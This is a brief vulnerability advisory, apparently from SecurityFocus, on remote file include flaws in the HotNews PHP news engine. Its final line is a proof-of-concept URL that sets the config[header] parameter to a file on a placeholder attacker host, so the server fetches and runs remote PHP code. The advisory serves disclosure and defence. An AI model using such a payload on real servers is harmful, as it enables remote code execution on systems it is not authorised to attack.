source: https://www.securityfocus.com/bid/9357/info
HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.
http://www.example.com/includes/hotnews-engine.inc.php3?config[header]=http://[evil host]/[evil file]